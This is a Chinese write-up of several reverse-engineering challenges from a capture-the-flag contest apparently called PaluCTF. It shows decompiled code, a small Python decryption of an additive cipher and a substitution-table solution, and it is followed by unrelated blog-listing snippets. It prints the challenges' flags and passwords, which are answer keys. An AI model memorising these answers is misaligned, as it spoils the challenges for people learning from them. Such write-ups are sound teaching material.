{char v1[41]; // [rsp+Fh] [rbp-29h] BYREFsub_2A20(&obj, "364d4d5c3e387e00421c597a0a7302144d5b70087e064619567336297d151f56770a7935424f2a780643", v1);__cxa_atexit((void (__fastcall *)(void *))&std::string::~string, &obj, &off_50D8);sub_2A20(&unk_5360, "flag{Is_This_Real?}", v1);__cxa_atexit((void (__fastcall *)(void *))&std::string::~string, &unk_5360, &off_50D8);sub_2A20(&qword_5340, "PaluCTF", v1);return __cxa_atexit((void (__fastcall *)(void *))&std::string::~string, &qword_5340, &off_50D8);
}
#3,main流程
__int64 __fastcall main(int a1, char **a2, char **a3)
{...std::operator<<<std::char_traits<char>>(&std::cout, "Check Flag:", v9);std::operator>><char>(&std::cin, &unk_5360);  // 输入flagsub_25C0(v17, &unk_5360, &qword_5340);        // 加密v10 = n;v11 = qword_5388;v12 = qword_5388;if ( n <= qword_5388 )v12 = n;if ( v12 && memcmp(s1, obj, v12) || (v13 = v10 - v11, v13 > 0x7FFFFFFF) || v13 < (__int64)0xFFFFFFFF80000000LL )    //与obj比较{std::string::_M_dispose(&s1);goto LABEL_14;}...
}
#4,加密
__int64 *__fastcall sub_25C0(__int64 *a1, char **a2, _QWORD *a3)
{...v3 = a1 + 2;*((_BYTE *)a1 + 16) = 0;*a1 = (__int64)(a1 + 2);v4 = *a2;a1[1] = 0LL;v13 = &a2[1][(_QWORD)v4];if ( v4 != v13 ){v6 = 0LL;v7 = 0;while ( 1 ){v9 = v6 + 1;v12 = (*v4 + *(char *)(*a3 + v7)) % 128;  //a2明文 a3 key c=(a2[i]+key[i])%128v10 = a1 + 2 == v3 ? 15LL : a1[2];if ( v10 < v9 ){std::string::_M_mutate(a1, v6, 0LL, 0LL, 1LL);v3 = (__int64 *)*a1;}++v4;*((_BYTE *)v3 + v6) = v12;  // a1[i] = cv8 = *a1;a1[1] = v9;*(_BYTE *)(v8 + v9) = 0;v7 = (unsigned __int64)(v7 + 1) % a3[1];if ( v13 == v4 )break;v6 = a1[1];v3 = (__int64 *)*a1;}}return a1;
}

这个加密部分看上去非常看不懂,能看懂的只有一句:(m[i]+key[i])%128 

然后直接拿这句解密就行了。

a = bytes.fromhex("364d4d5c3e387e00421c597a0a7302144d5b70087e064619567336297d151f56770a7935424f2a780643")
key = b"PaluCTF"
bytes([(a[i]-key[i%7])%128 for i in range(len(a))])
b'flag{d80a0d76-23af-486e-a0bc-43a463eac552}'

帕鲁被病毒感染了

还以为真是病毒,比赛的时候都没打开。

一个png文件,这应该是misc走错门了吧。修改高度可以显示密码。解开压缩包。从一大堆文件里找,找到一个串。到此为止完全是misc的内容。

THIS IS WHAT YOU ARE LOOKING FOR:    0n3_n00b_ru1n5_0n3_hundr3d_pr05

Reverse-签到

就是因为这个题才没认真作。烤打出题人啊!

程序逻辑看不清,太复杂了。从一个文件local.txt读加密后写到encrypted.txt

将一个码表写入local.txt然后运行程序可以得到加密码表,并且与位置无关。显然只是替换加密,但显然是多对一的关系,因为码表有重复。8字节重复就是256个解。(密文里的0和6分别对应03和19)

enc = 'jmdiz61904646906034535196{'dic1 = 'dbcdejihijkmmnopqrstuvwxyz0690123456_-+z{'
dic2 = 'abcdefghijklmnopqrstuvwxyz0123456789_-+{}'''.join([dic2[dic1.index(i)] for i in enc])
#'flagz14207171201067868421}'

后问别人说出题人说题目有问题,这题是逆向里解第3多的:14解,细思极恐!!!


http://www.mrgr.cn/p/82621778

相关文章

个人网站的SEO优化系列——如何实现搜索引擎的收录

如果你自己做了一个网站&#xff0c;并且想让更多的人知道你的网站&#xff0c;那么无非就是两种途径 一、自己进行宣传&#xff0c;或者花钱宣传 二、使用搜索引擎的自然流量 而如果搜索引擎都没有收录你的站点&#xff0c;别说是自然流量&#xff0c;就算是使用特定语句【sit…

ASP.NET MVC企业级程序设计 (商品管理:小计,总计,删除,排序)

目录 效果图 实现过程 1创建数据库 2创建项目文件 3创建控制器&#xff0c;右键添加&#xff0c;控制器 ​编辑 注意这里要写Home​编辑 创建成功 数据模型创建过程之前作品有具体过程​编辑 4创建DAL 5创建BLL 6创建视图&#xff0c;右键添加视图 ​编辑 7HomeCont…

算法项目(9)—— 大模型实现PDF检索加QA

本文包含什么&#xff1f; 使用大语言模型进行多个PDF问答检索加QA.gradio实现的网页界面操作,全套代码以及代码介绍运行有问题? csdn上后台随时售后. 项目说明 本项目实现使用大语言模型为核心,gradio框架,调用vicuna实现多个pdf QA 代码运行 python3 main.py注意事项:…

visionTransformer window平台下报错

错误&#xff1a; KeyError: Transformer/encoderblock_0/MlpBlock_3/Dense_0kernel is not a file in the archive解决方法&#xff1a; 修改这个函数即可&#xff0c;主要原因是Linux系统与window系统路径分隔符不一样导致 def load_from(self, weights, n_block):ROOT f&…

day07 51单片机-串口通信

51 单片机-串口通信 1 串口通信 1.1 需求描述 本案例讲解如何通过串口和PC以9600波特率,无校验位、1停止位通信。最终实现PC向单片机发送字符串,单片机回复PC。本案例中采用串口1通信。 1.2 硬件设计 1.2.1 串口工作原理 串口是将数据按照比特逐一发送的通信接口。在串…

开源博客项目Blog .NET Core源码学习(17:App.Hosting项目结构分析-5)

本文学习并分析App.Hosting项目中前台页面的作品展示页面和首页页面。 作品展示页面 作品展示页面总体上为上下布局&#xff0c;上方显示导航菜单&#xff0c;下方从左向右显示图片数据&#xff0c;支持放大查看图片和下载图片。整个页面使用了layui中的面包屑导航、弹出层、流…

如何判别三角形和求10 个整数中最大值?

分享每日小题&#xff0c;不断进步&#xff0c;今天的你也要加油哦&#xff01;接下来请看题------> 一、已知三条边a&#xff0c;b&#xff0c;c能否构成三角形&#xff0c;如果能构成三角形&#xff0c;判断三角形的类型&#xff08;等边三角形、等腰三角形或普通三角形 …

读天才与算法:人脑与AI的数学思维笔记07_数字绘画

数字绘画1. 数字绘画 1.1. 事物的可预测性与不可预测性构成了我们熟识的世界 1.1.1. 汤姆斯托帕德(Tom Stoppard) 1.2. 艺术作品就是通过各种形式给人带来美的感受,从而使人们获得精神上的愉悦与放松 1.3. “像素化”的画作激发了人…

jmeter 指定QPS压测接口

文章目录 jmeter 指定QPS压测接口更换语言为中文创建测试任务新建线程组右键线程组&#xff0c;新建http request&#xff0c;填写要你要压测的接口地址、参数如果需要自定义请求头&#xff0c;添加一个Http头信息管理器要查看结果和QPS统计数据&#xff0c;给上门的http请求添…

牛客NC162 二叉树中和为某一值的路径(三)【中等 dfs C++、Java、Go、PHP】

题目 题目链接&#xff1a; https://www.nowcoder.com/practice/965fef32cae14a17a8e86c76ffe3131f 思路 既然要找所有路径上节点和等于目标值的路径个数&#xff0c;那我们肯定先找这样的路径起点啊&#xff0c; 但是我们不知道起点究竟在哪里&#xff0c; 而且任意节点都有…

项目大集成

一 keeplived 高可用 192.168.11.11nginx keeplived192.168.11.12nginx keeplived 两台均编译安装服务器 1 主服务器修改文件&#xff1a; 2 备服务器修改文本 scp keepalived.conf 192.168.11.12:/etc/keepalived/ 3 给主服务器添加虚拟ip ifconfig ens33:0 192.168…

机器学习-10-基于paddle实现神经网络

文章目录 总结参考本门课程的目标机器学习定义第一步&#xff1a;数据准备第二步&#xff1a;定义网络第三步&#xff1a;训练网络第四步&#xff1a;测试训练好的网络 总结 本系列是机器学习课程的系列课程&#xff0c;主要介绍基于paddle实现神经网络。 参考 MNIST 训练_副…

Linux:进程状态

Linux&#xff1a;进程状态 进程状态运行状态R状态 阻塞状态S状态D状态T状态t状态 挂起状态僵尸进程 & 孤儿进程X状态Z状态孤儿进程 进程状态 当一个可执行程序&#xff0c;被载入内存&#xff0c;获得自己的PCB&#xff0c;那么其就可以变成一个进程。也许你学习过一些进…

java高校办公室行政事务管理系统设计与实现(springboot+mysql源码+文档)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于springboot的闲一品交易平台。项目源码以及部署相关请联系风歌&#xff0c;文末附上联系信息 。 项目简介&#xff1a; 基于mvc的高校办公室行政…

AJAX——Promise-链式调用

1.Promise链式调用 概念&#xff1a;依靠then()方法会返回一个新生成的Promise对象特性&#xff0c;继续串联下一环任务&#xff0c;知道结束 细节&#xff1a;then()回调函数中的返回值&#xff0c;会影响新生成的Promise对象最终状态和结果 好处&#xff1a;通过链式调用&…

【Java基础】23.接口

文章目录 一、接口的概念1.接口介绍2.接口与类相似点3.接口与类的区别4.接口特性5.抽象类和接口的区别 二、接口的声明三、接口的实现四、接口的继承五、接口的多继承六、标记接口 一、接口的概念 1.接口介绍 接口&#xff08;英文&#xff1a;Interface&#xff09;&#xf…

鸿蒙OpenHarmony【小型系统编写“Hello World”程序】 (基于Hi3516开发板)

编写“Hello World”程序 下方将展示如何在单板上运行第一个应用程序&#xff0c;其中包括新建应用程序、编译、烧写、运行等步骤&#xff0c;最终输出“Hello World&#xff01;”。 前提条件 已参考[创建工程并获取源码]&#xff0c;创建Hi3516开发板的源码工程。 鸿蒙开发…

如何处理Keil uVision5注释无法输入汉字且输入汉字变成问号的问题

好久没用KEIL&#xff0c;今天在注释中出现无法输入汉字的情况&#xff0c;且输入或粘贴的汉字都变成了问号&#xff0c;解决方法很简单&#xff0c;将General Editor Settings: Encoding:设置为Chinese GB2312(Simplified)即可&#xff08;出现问号的当前设置是Encode in ANSI…

海外云手机怎么解决tiktok运营难题?

最近打算做TikTok的商家越来越多了&#xff0c;而做TikTok的第一步就面临如何养号、涨粉的困境&#xff0c;本文将介绍如何通过海外云手机轻松解决这些问题。 早期大家用的比较多的&#xff0c;是真机科学上网的方法。但是这种方法&#xff0c;需要自己搭建海外环境&#xff0c…

day04 51单片机-矩阵按键

1 矩阵按键 1.1 需求描述 本案例实现以下功能&#xff1a;按下矩阵按键SW5到SW20&#xff0c;数码管会显示对应的按键编号。 1.2 硬件设计 1.2.1 硬件原理图 1.2.2 矩阵按键原理 1.3软件设计 1&#xff09;Int_MatrixKeyboard.h 在项目的Int目录下创建Int_MatrixKeyboard…